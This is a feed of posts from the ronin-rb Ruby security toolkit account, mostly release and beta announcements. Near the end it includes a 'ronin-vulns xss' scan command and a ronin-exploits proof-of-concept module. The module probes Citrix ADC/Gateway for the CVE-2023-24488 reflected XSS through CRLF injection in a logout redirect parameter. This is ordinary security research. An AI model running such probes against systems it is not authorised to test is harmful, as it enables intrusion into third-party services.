Lmst

ronin-rb

The ronin-rb project, a Ruby toolkit for security research and development.

Ronin 2.1.1 and other patch versions have been released!
https://ronin-rb.dev/blog/2025/02/15/ronin-2-1-1-and-more-released.html

#ronin #roninrb #ruby #infosec #securitytools #opensource

You can now browse the man-pages for every ronin command at https://ronin-rb.dev/docs/man/.

#ronin #roninrb #protip #manpages

Did you know that you can now install shell tab completion rules for every ronin command?

ronin completion --install

#ronin #roninrb #protip #tabcompletion #shellcompletion

Ronin 2.1.0 has finally been released! Lots of new stuff in this release, like new database tables, new payloads, ronin-recon, ronin-app, and more.
https://ronin-rb.dev/blog/2024/07/22/ronin-2-1-0-finally-released.html
#ronin #roninrb #ruby #infosec #securitytools #recon #payloads #opensource

The Ronin 2.1.0 Open Beta has now ended. Now we begin preparing the official Ronin 2.1.0 release.

T-10 hours until the Ronin 2.1.0 Open Beta ends.

T-2 days until the Ronin 2.1.0 Open Beta ends.

T-3 days until the Ronin 2.1.0 Open Beta ends.

Reminder: there are just four days remaining in the Ronin 2.1.0 Open Beta. There's still time to test Ronin 2.1.0 before it's officially released.

ronin-support 1.0.7 and 1.1.0.rc2, ronin-web-spider 0.2.0.rc3, and ronin-recon 0.1.0.rc2 released.
https://ronin-rb.dev/blog/2024/07/15/ronin-support-1-0-7-and-1-1-0-rc2-ronin-web-spider-0-2-0-rc3-and-ronin-recon-0-1-0-rc2-released.html

#ronin #roninrb #ruby #infosec #securitytools #betatesting #openbeta #recon

ronin-exploits 1.0.6 and 1.1.0.rc2 have been released.
https://ronin-rb.dev/blog/2024/06/28/ronin-exploits-1.0.6-and-1-1-0-rc2-released.html
#ronin #roninrb #ruby #infosec #securitytools #exploitdev #opensource

Announcing the Ronin 2.1.0 Open Beta!
https://ronin-rb.dev/blog/2024/06/24/announcing-the-ronin-2-1-0-open-beta.html

#ronin #ruby #roninrb #betatesting #openbeta #opensource #securitytools #recon

Ronin is now available on the Snap store!

sudo snap install ronin

https://ronin-rb.dev/blog/2024/06/21/ronin-is-now-available-on-the-snap-store.html

#ronin #ruby #snap #snapstore #snapcraft #opensource #securitytools #infosec

ronin-exploits 1.0.5, ronin-payloads 0.1.5, ronin-vulns 0.1.5, ronin-web-spider 0.1.1, ronin-db-activerecord 0.1.6, ronin-core 0.1.3, and ronin-support 1.0.6 released have been released! Special thanks to @flavorjones and @mozi for the bug fixes to ronin-support and ronin-db-activerecord.

https://ronin-rb.dev/blog/2024/06/19/ronin-exploits-1-0-5-ronin-payloads-0-1-5-ronin-vulns-0-1-5-ronin-web-spider-0-1-1-ronin-db-activerecord-0-1-6-ronin-core-0-1-3-and-ronin-support-1-0-6-released.html
#roninrb #ronin #infosec #securitytools #opensource #ruby #bugfixes

Phase 2 is now DONE!
https://ronin-rb.dev/blog/2024/06/18/phase-2-is-now-done.html

#ronin #roninrb #opensource #ruby #securitytools #infosec

Although ronin-vulns xss does not currently test for XSS via Response Header Injection (hence the \r\n\r\n to escape the headers section and begin the response body section), because that is a really rare vulnerability class and a sign of a very poorly implemented HTTP server.
#CVE_2023_24488

@lucian and you can also use ronin-vulns to test individual URLs for reflected XSS:

$ ronin-vulns xss https://target/oauth/idp/logout?post_logout_redirect_uri=https://example.com/

#xss #securitytools #vulnscanner #security #infosec #websec

@lucian thanks, and here's how one might write a similar XSS test using ronin-exploits.
#xss #exploit #CVE_2023_24488 #security #infosec #websecurity

$#!/usr/bin/env -S ronin-exploits run -f require 'ronin/exploits/xss' module Ronin module Exploits class CVE_2023_24488 < XSS register 'CVE-2023-24488' quality :poc release_date '2024-06-11' disclosure_date '2023-07-10' advisory 'CVE-2023-24488' author "Postmodern", email: "postmodern.mod3@gmail.com" summary "PoC for CVE-2023-24488" description <<~DESC Cross site scripting vulnerability in Citrix ADC and Citrix Gateway DESC references [ "https://ruby.social/@lucian/112596694540196455" ] base_path '/oauth/idp/logout' query_param 'post_logout_redirect_uri' # # Test whether the target system is vulnerable. # def test test_xss = %{} response = http_get("/oauth/idp/logout", query_params: { 'post_logout_redirect_uri' => "\r\n\r\n#{test_xss}" }) if response.code == '302' && response['content-type'].include?('text/html') if response.body.include?(test_xss) Vulnerable('host is vulnerable') else NotVulnerable('host is not vulnerable') end else Unknown("cannot access #{url}") end end end end end$